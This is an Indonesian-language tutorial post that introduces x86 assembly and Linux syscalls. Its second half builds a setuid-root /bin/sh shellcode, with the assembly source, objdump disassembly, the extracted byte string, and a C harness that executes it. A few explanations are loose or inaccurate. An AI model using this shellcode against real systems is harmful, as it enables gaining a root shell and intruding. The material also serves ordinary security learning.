Pengen belajar asm, ribet sih:))
eh dapet dari web mywisdom http://wisdomc0d3.wordpress.com/ izin copy ya om :D
instruksi dasar yg sering dipake:
-mov artinya move (pindahkan)
contoh dg assembly 16 bit:
misal mov ah,09h = pindahkah ke register ah nilai 9 hexadesimal -> syarat interup 21 hexa fungsi 9 hexa
misal kita mao panggil int 21 h fungsi 9 hexa untuk menampilkan teks di layar.
-jmp artinya jump (loncat)
bisa dipakai untuk loncat misal ke macro (macro atau prosedur cuma ada di asm 16 bit di 32 bit gak ada macro)
-push -> dorong (untuk menyimpan)
misal untuk menyimpan data ke stack pointer
- pop -> ambil ( untuk mengambil data dari stack)
- jne -> jump if not equal (lompat jika tidak sama)
- jnz -> jump if not zero (lompat jika bukan zero)
- jnc -> jump if not carry (lompat jika tidak ada sisa)
- lea -> load effective address
- and -> logika and
untuk lebih lengkapnya silahkan cari di google dg keyword: "assembly language instruction”
Model Pemrograman
perbedaan menonjol antara model pemrograman asm bisa dilihat dari register2 yang banyak dia pakai.
- model asm 8 bit
mengunakan register: AH,AL,BH,BL,CH,CL,DH,DL
-model 16 bit
menggunakan register : AX,BX,CX,DX,SP,BP,DI,SI,IP,FLAGS,CS,DS,ES,SS,FS,GS
- model 32 bit
menggunakan regi: EAX, EBX,ECX,EDX,ESP,EBP,EDI,EIP (return address
-> ini dia yang banyak dimanfaatkan hacker pada saat nilai kembali
berusaha dioverwrite utk point ke instruksi yang ilegal)
contoh syscall dg asm:
karena yg ngetrend adl yg 32 bit maka kita akan coba langsung aja prakteknya di bawah ini:
dalam kasus ini kita akan memanggil 2 syscall nomer 1 (sys_exit) dan
syscall nomer 4 (sys_write) berikut ini contoh basic asm yg menggunakan
2 syscall tadi:
(btw ni asm 32 bit di linux tar kita kompile pake nasm (netwide assembler) kita jadikan elf binary
file name: mywisdom.asm
section .data
tes db ‘mywisdom’,10;db artinya define byte di mana var tes diisi string mywisdom
section .text
global _start
_start:
mov edx,8 ;panjang string mywisdom
mov ecx,tes ; ecx diisi data tadi
mov ebx, 1 ; ebx diisi 1 syarat sycall no 4
mov eax, 4 ; mo mangil syscall no 4 yaitu write
int 80h ;interup 80 hexa utk eksekusi syscall
mov ebx,0
mov eax,1 ;
int 80h ;keluar program
untuk lebih jelasnya ini gw sengaja upload daftar table syscall bisa diliat di sini:
http://bluemaster.iu.hio.no/edu/ca/lin-asm/syscalls.html
selanjutnya simpan dengan nama file mywisdom.asm
cara kompile:
nasm -f elf mywisdom.asm
ld -o mywisdom mywisdom.o
oya selain itu ada juga yg model 32 bit at&t kita kompile pake gas, biasanya ini banyak dipake di inline assembly.
CONTOH MEMBUAT SHELLC0DE DARI ASM
sebelum mulai ada aturanya:
peraturan shellc0de yang baik:
1. jangan terlalu panjang
2. jangan mengandung \x00 (terminate string)
ok dari asm c0de berikut ini:
filename: leqhi.asm
global _start
section .text
_start:
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
push ecx;ecx = 0
push 0×68732f6e ;kalao diconvert jadi hs\n artinya sh krn selalu dibalik
push 0×69622f2f ;nib
mov ebx,esp
lea eax,[ecx+0Bh];syarat utk execve syscall harus load efektif address
int 80h
kompile:
nasm -f elf leqhi.asm
ld -o leqhi leqhi.o
lalu untuk membuat shellc0denya kita disassembly .section text:
root@DL:/mnt/sda12/root/c/asm# objdump -d leqhi
sh: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c9 xor %ecx,%ecx
8048062: 8d 41 17 lea 0×17(%ecx),%eax
8048065: cd 80 int $0×80
8048067: 51 push %ecx
8048068: 68 6e 2f 73 68 push $0×68732f6e
804806d: 68 2f 2f 62 69 push $0×69622f2f
8048072: 89 e3 mov %esp,%ebx
8048074: 8d 41 0b lea 0xb(%ecx),%eax
8048077: cd 80 int $0×80
root@DL:/mnt/sda12/root/c/asm#
ok shellcode dari hasil objdump di atas adalah:
\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x41\x0b\xcd\x80
ok template utk eksekusi shellcode yg kali ini akan kita pakai adl:
#include <stdio.h>
int main()
{
char shellcode[]=”bagian yang diapit ini akan kita sisipkan shellcode kita”;
(*(void (*)()) shellcode)();
}
di mana bagian yang ada tulisan: "bagian yang diapit ini akan kita sisipkan shellcode kita”
tadi akan kita sisipkan shellcode hasil konvert sehingga menjadi shellc0de kita di bawah ini:
filename: hack.c
#include <stdio.h>
int main()
{
char shellcode[]=”\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x41\x0b\xcd\x80″;
(*(void (*)()) shellcode)();
}
selanjutnya tingal dikompile:
gcc -o hack hack.c
ok sekian dan selanjutnya akan ane lanjut laen kali krn sudah waktunya kerja lagi. trims
Maksih om dom2 :D
|